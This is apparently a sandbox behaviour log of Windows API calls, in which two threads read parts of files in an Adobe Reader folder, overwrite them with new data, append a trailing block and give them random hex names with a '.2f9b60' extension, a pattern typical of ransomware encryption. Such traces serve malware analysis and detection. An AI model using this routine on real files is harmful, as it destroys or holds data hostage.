0x7f362b42 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x2b8c708d [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x492ed742 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x24f92778 [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x709dee16 [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x5b21210b [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x37d7357b [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x2358cbfb [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x514fcd6 [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x3d64a6e [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x27e670ec [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x2a80278 [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x3165316c [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x755efc4c [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x61455403 [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x145a914b [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x7e0cee6c [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x7c413882 [0154.077] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x82b346d [0154.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9050 [0154.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0154.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9080 [0154.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0154.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9020) returned 1 [0154.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1980 [0154.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0154.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4278ea60 [0154.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42792670 [0154.086] ReadFile (in: hFile=0x13f0, lpBuffer=0x4278ea60, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2881faf0, lpOverlapped=0x0 | out: lpBuffer=0x4278ea60*, lpNumberOfBytesRead=0x2881faf0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.119] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.119] WriteFile (in: hFile=0x13f0, lpBuffer=0x42792670*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2881faf4, lpOverlapped=0x0 | out: lpBuffer=0x42792670*, lpNumberOfBytesWritten=0x2881faf4*=0x1e00, lpOverlapped=0x0) returned 1 [0162.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6e90 [0162.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6ec0 [0162.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ec0) returned 1 [0162.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42792670) returned 1 [0162.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4278ea60) returned 1 [0162.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0162.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1980) returned 1 [0162.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6ec0 [0162.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1980 [0162.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0162.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6ef0 [0162.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ef0) returned 1 [0162.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6ef0 [0162.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f20 [0162.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f50 [0162.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f50) returned 1 [0162.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0162.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1980) returned 1 [0162.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9810 [0162.017] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.017] WriteFile (in: hFile=0x13f0, lpBuffer=0x423a9810*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2881fc10, lpOverlapped=0x0 | out: lpBuffer=0x423a9810*, lpNumberOfBytesWritten=0x2881fc10*=0x108, lpOverlapped=0x0) returned 1 [0163.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0163.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3df0) returned 1 [0163.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d080 [0163.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0163.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3dc0 [0163.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3dc0) returned 1 [0163.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0163.974] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.974] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="f3") returned 2 [0163.974] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="84") returned 2 [0163.974] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.974] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.974] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="79") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="21") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="ff") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="99") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="09") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="a5") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="50") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="33") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.975] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="94") returned 2 [0163.975] RtlInitAnsiString (in: DestinationString=0x2881fc88, SourceString="2af3848ed97921ff9909a5b7a85a50330ad64d4e3d94" | out: DestinationString="2af3848ed97921ff9909a5b7a85a50330ad64d4e3d94") [0163.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x2881fc58, SourceString="2af3848ed97921ff9909a5b7a85a50330ad64d4e3d94", AllocateDestinationString=1 | out: DestinationString="2af3848ed97921ff9909a5b7a85a50330ad64d4e3d94") returned 0x0 [0163.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fa510 [0163.976] RtlFreeAnsiString (AnsiString="2") [0163.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3df0) returned 1 [0163.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9810) returned 1 [0163.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ef0) returned 1 [0163.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f20) returned 1 [0163.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ec0) returned 1 [0163.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e90) returned 1 [0163.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f90) returned 1 [0163.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9050) returned 1 [0163.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9080) returned 1 [0163.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e0a0 [0163.979] wcscat (in: _Dest=0x4230e0a0, _Source="2af3848ed97" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2af3848ed97") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2af3848ed97" [0163.979] wcscat (in: _Dest=0x4230e0a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2af3848ed97.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2af3848ed97.2f9b60" [0163.979] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2af3848ed97.2f9b60", NtPathName=0x2881fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2af3848ed97.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2ab10 Thread: id = 2436 os_tid = 0x1e84 [0153.470] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve")) returned 0x20 [0153.776] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE", dwFileAttributes=0x20) returned 1 [0153.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13e0 [0153.807] GetFileSizeEx (in: hFile=0x13e0, lpFileSize=0x25f5f9c0 | out: lpFileSize=0x25f5f9c0*=7680) returned 1 [0153.808] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.808] ReadFile (in: hFile=0x13e0, lpBuffer=0x25f5f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25f5f988, lpOverlapped=0x0 | out: lpBuffer=0x25f5f940*, lpNumberOfBytesRead=0x25f5f988*=0x4, lpOverlapped=0x0) returned 1 [0154.031] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8de0 [0154.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e70 [0154.031] NtQuerySystemTime (in: CurrentTime=0x25f5f880 | out: CurrentTime=0x25f5f880*=132462177591586000) returned 0x0 [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x4a1d7c6b [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x5510735c [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x595b96e2 [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x11a1c87b [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x727a840 [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x30f8b872 [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0xb530381 [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x698930cd [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x64aa56cf [0154.031] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x632876a3 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x44c931e1 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x238b0bad [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x19b3445a [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x29cead2f [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x66f7c6ee [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x33f48bb7 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x526082d0 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x50c1bfd4 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0xdf5c1dc [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x2a0ec634 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x69463aaa [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x4a12c265 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x722ea074 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x23d402e8 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x26607a0f [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x449e5921 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x47d283d0 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x680d9bb4 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0xea3256e [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x2f5bc0d8 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x2cddbb68 [0154.032] RtlRandomEx (in: Seed=0x25f5f870 | out: Seed=0x25f5f870) returned 0x64da21b3 [0154.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ea0 [0154.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0154.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ed0 [0154.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0154.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e70) returned 1 [0154.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1890 [0154.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0154.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42778200 [0154.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4277be10 [0154.043] ReadFile (in: hFile=0x13e0, lpBuffer=0x42778200, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x25f5f870, lpOverlapped=0x0 | out: lpBuffer=0x42778200*, lpNumberOfBytesRead=0x25f5f870*=0x1e00, lpOverlapped=0x0) returned 1 [0154.100] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.100] WriteFile (in: hFile=0x13e0, lpBuffer=0x4277be10*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x25f5f874, lpOverlapped=0x0 | out: lpBuffer=0x4277be10*, lpNumberOfBytesWritten=0x25f5f874*=0x1e00, lpOverlapped=0x0) returned 1 [0161.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b90 [0161.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6bc0 [0161.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6bc0) returned 1 [0161.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4277be10) returned 1 [0161.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42778200) returned 1 [0161.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0161.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1890) returned 1 [0161.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6bc0 [0161.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1890 [0161.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0161.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6bf0 [0161.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6bf0) returned 1 [0161.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6bf0 [0161.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6c20 [0161.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6c50 [0161.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6c50) returned 1 [0161.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0161.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1890) returned 1 [0161.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a95f0 [0161.987] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.987] WriteFile (in: hFile=0x13e0, lpBuffer=0x423a95f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x25f5f990, lpOverlapped=0x0 | out: lpBuffer=0x423a95f0*, lpNumberOfBytesWritten=0x25f5f990*=0x108, lpOverlapped=0x0) returned 1 [0163.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f10 [0163.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f10) returned 1 [0163.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d080 [0163.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f10 [0163.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ee0 [0163.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ee0) returned 1 [0163.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0163.937] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="79") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="f9") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="bf") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="af") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="68") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="73") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="23") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="93") returned 2 [0163.937] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.938] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.938] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="10") returned 2 [0163.938] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.938] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.938] RtlInitAnsiString (in: DestinationString=0x25f5fa08, SourceString="fd79d52af9c3a9bfaf9bb2687323f6c593d64f10a2d8" | out: DestinationString="fd79d52af9c3a9bfaf9bb2687323f6c593d64f10a2d8") [0163.938] RtlAnsiStringToUnicodeString (in: DestinationString=0x25f5f9d8, SourceString="fd79d52af9c3a9bfaf9bb2687323f6c593d64f10a2d8", AllocateDestinationString=1 | out: DestinationString="fd79d52af9c3a9bfaf9bb2687323f6c593d64f10a2d8") returned 0x0 [0163.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fa350 [0163.938] RtlFreeAnsiString (AnsiString="f") [0163.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f10) returned 1 [0163.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a95f0) returned 1 [0163.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6bf0) returned 1 [0163.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6c20) returned 1 [0163.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6bc0) returned 1 [0163.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b90) returned 1 [0163.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8de0) returned 1 [0163.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ea0) returned 1 [0163.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ed0) returned 1 [0163.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230de20 [0163.941] wcscat (in: _Dest=0x4230de20, _Source="fd79d52af9c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\fd79d52af9c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\fd79d52af9c" 